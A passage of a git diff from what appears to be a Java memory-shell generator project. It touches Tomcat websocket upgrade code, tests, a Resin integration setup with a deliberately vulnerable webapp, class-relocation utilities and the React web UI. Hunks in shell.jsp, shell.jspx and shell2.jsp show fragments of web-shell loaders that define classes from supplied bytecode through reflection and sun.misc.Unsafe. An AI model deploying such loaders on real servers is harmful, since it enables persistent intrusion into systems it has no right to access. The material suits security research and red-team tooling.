request.getServletContext().getAttribute(ServerContainer.class.getName()); if (sc == null) { throw new ServletException("Server container not found"); } - addHeader(request, "Connection", "upgrade"); - addHeader(request, "Upgrade", "websocket"); Object mappingResult = sc.getClass().getMethod("findMapping", String.class).invoke(sc, path); Class upgradeUtil = Class.forName("org.apache.tomcat.websocket.server.UpgradeUtil"); for (Method method : upgradeUtil.getMethods()) { if ("doUpgrade".equals(method.getName())) { + addHeader(request, "Connection", "upgrade"); + addHeader(request, "Upgrade", "websocket"); method.invoke(null, sc, request, response, getFieldValue(mappingResult, "config"), getFieldValue(mappingResult, "pathParams")); } } diff --git a/generator/src/test/java/com/reajason/javaweb/memshell/generator/ListenerGeneratorTest.java b/generator/src/test/java/com/reajason/javaweb/memshell/generator/ListenerGeneratorTest.java index 20a56475..4972f42e 100644 --- a/generator/src/test/java/com/reajason/javaweb/memshell/generator/ListenerGeneratorTest.java +++ b/generator/src/test/java/com/reajason/javaweb/memshell/generator/ListenerGeneratorTest.java @@ -28,12 +28,6 @@ public Object getResponseFromRequest(Object request) { } } - public static class J { - public HttpServletResponse getResponseFromRequest(HttpServletRequest request) { - return null; - } - } - public static class FakeRequest { public Object response = "i'm a good boy"; } @@ -44,12 +38,6 @@ void testNoGetResponseFromRequest() { Assertions.assertThrows(GenerationException.class, () -> ListenerBuilderModifier.modifier(builder, Tomcat.ListenerInterceptor.class, TypeDescription.ForLoadedType.of(Object.class), "hello.world")); } - @Test - void testGetResponseFromRequestSignatureError() { - DynamicType.Builder builder = new ByteBuddy().redefine(J.class); - Assertions.assertThrows(GenerationException.class, () -> ListenerBuilderModifier.modifier(builder, Tomcat.ListenerInterceptor.class, TypeDescription.ForLoadedType.of(J.class), "hello.world")); - } - @Test @SneakyThrows void test() { diff --git a/integration-test/docker-compose/resin/docker-compose-2.1.17-jdk6.yaml b/integration-test/docker-compose/resin/docker-compose-2.1.17-jdk6.yaml new file mode 100644 index 00000000..160afde1 --- /dev/null +++ b/integration-test/docker-compose/resin/docker-compose-2.1.17-jdk6.yaml @@ -0,0 +1,11 @@ +services: + resin2117: + image: reajason/resin:2.1.17-jdk6 + container_name: resin2117 + ports: + - "8080:8080" + - "5005:5005" + environment: + JAVA_TOOL_OPTIONS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 + volumes: + - ../../../vul/vul-webapp/build/libs/vul-webapp.war:/usr/local/resin2/webapps/app.war \ No newline at end of file diff --git a/integration-test/script/resin_pid.sh b/integration-test/script/resin_pid.sh index 14f63bf2..185e582c 100755 --- a/integration-test/script/resin_pid.sh +++ b/integration-test/script/resin_pid.sh @@ -1,2 +1,2 @@ #!/bin/bash -pgrep -f Resin | tr -d '\n' \ No newline at end of file +pgrep -f 'Resin|-Dresin' | tr -d '\n' \ No newline at end of file diff --git a/memshell-party-common/src/main/java/com/reajason/javaweb/asm/ClassRenameUtils.java b/memshell-party-common/src/main/java/com/reajason/javaweb/asm/ClassRenameUtils.java index 56ff8d7a..acfcda90 100644 --- a/memshell-party-common/src/main/java/com/reajason/javaweb/asm/ClassRenameUtils.java +++ b/memshell-party-common/src/main/java/com/reajason/javaweb/asm/ClassRenameUtils.java @@ -1,5 +1,6 @@ package com.reajason.javaweb.asm; +import org.jetbrains.annotations.NotNull; import org.objectweb.asm.ClassReader; import org.objectweb.asm.ClassWriter; import org.objectweb.asm.Opcodes; @@ -14,12 +15,7 @@ public class ClassRenameUtils { public static byte[] renameClass(byte[] classBytes, String newName) { - ClassReader reader = null; - try { - reader = new ClassReader(classBytes); - } catch (Exception e) { - throw new RuntimeException("invalid class bytes"); - } + ClassReader reader = getClassReader(classBytes); String oldClassName = reader.getClassName(); String newClassName = newName.replace('.', '/'); ClassWriter writer = new ClassWriter(reader, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES); @@ -29,12 +25,7 @@ public static byte[] renameClass(byte[] classBytes, String newName) { } public static byte[] relocateClass(byte[] classBytes, String relocateClassPackage, String relocatePrefix) { - ClassReader reader = null; - try { - reader = new ClassReader(classBytes); - } catch (Exception e) { - throw new RuntimeException("invalid class bytes"); - } + ClassReader reader = getClassReader(classBytes); String oldClassName = relocateClassPackage.replace('.', '/'); String newClassName = relocatePrefix.replace('.', '/'); ClassWriter writer = new ClassWriter(reader, ClassWriter.COMPUTE_MAXS); @@ -51,4 +42,32 @@ public String map(String typeName) { reader.accept(adapter, 0); return writer.toByteArray(); } + + public static byte[] relocateJakarta(byte[] classBytes) { + ClassReader reader = getClassReader(classBytes); + ClassWriter writer = new ClassWriter(reader, ClassWriter.COMPUTE_MAXS); + ClassRemapper adapter = new ClassRemapper(writer, new Remapper(Opcodes.ASM9) { + @Override + public String map(String typeName) { + if (typeName.startsWith("javax/servlet/") + || typeName.startsWith("javax/websocket/")) { + return typeName.replaceFirst("javax", "jakarta"); + } else { + return typeName; + } + } + }); + reader.accept(adapter, 0); + return writer.toByteArray(); + } + + private static @NotNull ClassReader getClassReader(byte[] classBytes) { + ClassReader reader = null; + try { + reader = new ClassReader(classBytes); + } catch (Exception e) { + throw new RuntimeException("invalid class bytes"); + } + return reader; + } } diff --git a/packer/src/main/resources/memshell-party/shell.jsp b/packer/src/main/resources/memshell-party/shell.jsp index 9cb68578..6496f02d 100644 --- a/packer/src/main/resources/memshell-party/shell.jsp +++ b/packer/src/main/resources/memshell-party/shell.jsp @@ -4,7 +4,7 @@ super(classLoader); } - public Class defineClass(byte[] code) { + public Class defineClass(byte[] code) { return defineClass(null, code, 0, code.length); } } diff --git a/packer/src/main/resources/memshell-party/shell.jspx b/packer/src/main/resources/memshell-party/shell.jspx index 22baf1f2..a226f6c7 100644 --- a/packer/src/main/resources/memshell-party/shell.jspx +++ b/packer/src/main/resources/memshell-party/shell.jspx @@ -6,7 +6,7 @@ public ClassDefiner(ClassLoader classLoader) { super(classLoader); } - public Class defineClass(byte[] code) { + public Class defineClass(byte[] code) { return defineClass(null, code, 0, code.length); } } diff --git a/packer/src/main/resources/memshell-party/shell2.jsp b/packer/src/main/resources/memshell-party/shell2.jsp index 37b0a3ed..25e75c9d 100644 --- a/packer/src/main/resources/memshell-party/shell2.jsp +++ b/packer/src/main/resources/memshell-party/shell2.jsp @@ -4,7 +4,7 @@ long offset = 48; java.lang.reflect.Method getAndSetObjectM = null; try { - Class unsafeClass = Class.forName("sun.misc.Unsafe"); + Class unsafeClass = Class.forName("sun.misc.Unsafe"); java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe"); unsafeField.setAccessible(true); unsafe = unsafeField.get(null); @@ -28,7 +28,7 @@ } java.lang.reflect.Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE); defMethod.setAccessible(true); - Class clazz = (Class) defMethod.invoke(Thread.currentThread().getContextClassLoader(), bytecode, 0, bytecode.length); + Class clazz = (Class) defMethod.invoke(Thread.currentThread().getContextClassLoader(), bytecode, 0, bytecode.length); if (getAndSetObjectM != null) { getAndSetObjectM.invoke(unsafe, this.getClass(), offset, rawModule); } diff --git a/web/app/components/memshell/main-config-card.tsx b/web/app/components/memshell/main-config-card.tsx index 0299c260..0540e81b 100644 --- a/web/app/components/memshell/main-config-card.tsx +++ b/web/app/components/memshell/main-config-card.tsx @@ -135,7 +135,7 @@ export default function MainConfigCard({ const currentJdkVersion = Number.parseInt(currentTargetJdk, 10); const shouldRaiseJdkVersion = (server === "SpringWebFlux" || server === "XXLJOB") && - currentJdkVersion < 52; + currentJdkVersion <= 52; const nextJdkVersion = shouldRaiseJdkVersion ? "52" : "50"; if (currentTargetJdk !== nextJdkVersion) { form.setValue("targetJdkVersion", nextJdkVersion); diff --git a/web/app/components/memshell/results/feedback-alert.tsx b/web/app/components/memshell/results/feedback-alert.tsx index ba523c6c..bc2cec60 100644 --- a/web/app/components/memshell/results/feedback-alert.tsx +++ b/web/app/components/memshell/results/feedback-alert.tsx @@ -17,11 +17,13 @@ export function FeedbackAlert() { const { t } = useTranslation("memshell"); return ( - - - + + {t("shellNotWork.title")} + + } + > {t("shellNotWork.title")} diff --git a/web/app/components/probeshell/basic-info.tsx b/web/app/components/probeshell/basic-info.tsx index a470b2ca..37efca65 100644 --- a/web/app/components/probeshell/basic-info.tsx +++ b/web/app/components/probeshell/basic-info.tsx @@ -9,7 +9,6 @@ export function BasicInfo({ generateResult, }: Readonly<{ generateResult?: ProbeShellResult }>) { const { t } = useTranslation(); - console.log(generateResult); const isBodyContent = generateResult?.probeConfig.probeMethod === "ResponseBody"; const isFilterContent = generateResult?.probeConfig.probeContent === "Filter"; diff --git a/web/app/routes/memshell.tsx b/web/app/routes/memshell.tsx index 2aabac95..dee08836 100644 --- a/web/app/routes/memshell.tsx +++ b/web/app/routes/memshell.tsx @@ -1,7 +1,7 @@ import { useQuery } from "@tanstack/react-query"; import { HomeLayout } from "fumadocs-ui/layouts/home"; import { LoaderCircle, WandSparklesIcon } from "lucide-react"; -import { useCallback, useState, useTransition } from "react"; +import { useCallback, useRef, useState } from "react"; import { useForm } from "react-hook-form"; import { useTranslation } from "react-i18next"; import { toast } from "sonner"; @@ -89,7 +89,7 @@ export default function MemShellPage() { }); const { t } = useTranslation(["common", "memshell"]); - const form = useForm({ + const form = useForm({ resolver: useYupValidationResolver(memShellFormSchema, t), defaultValues, }); @@ -100,7 +100,7 @@ export default function MemShellPage() { >(); const [generateResult, setGenerateResult] = useState(); const [packMethod, setPackMethod] = useState(""); - const [isActionPending, startTransition] = useTransition(); + const submitLockRef = useRef(false); const submitMemShell = useCallback( async (data: MemShellFormSchema) => { @@ -134,10 +134,15 @@ export default function MemShellPage() { ); const onSubmit = useCallback( - (data: MemShellFormSchema) => { - startTransition(() => { - void submitMemShell(data); - }); + async (data: MemShellFormSchema) => { + if (submitLockRef.current) return; + submitLockRef.current = true; + + try { + await submitMemShell(data); + } finally { + submitLockRef.current = false; + } }, [submitMemShell], ); @@ -156,8 +161,12 @@ export default function MemShellPage() { form={form} /> -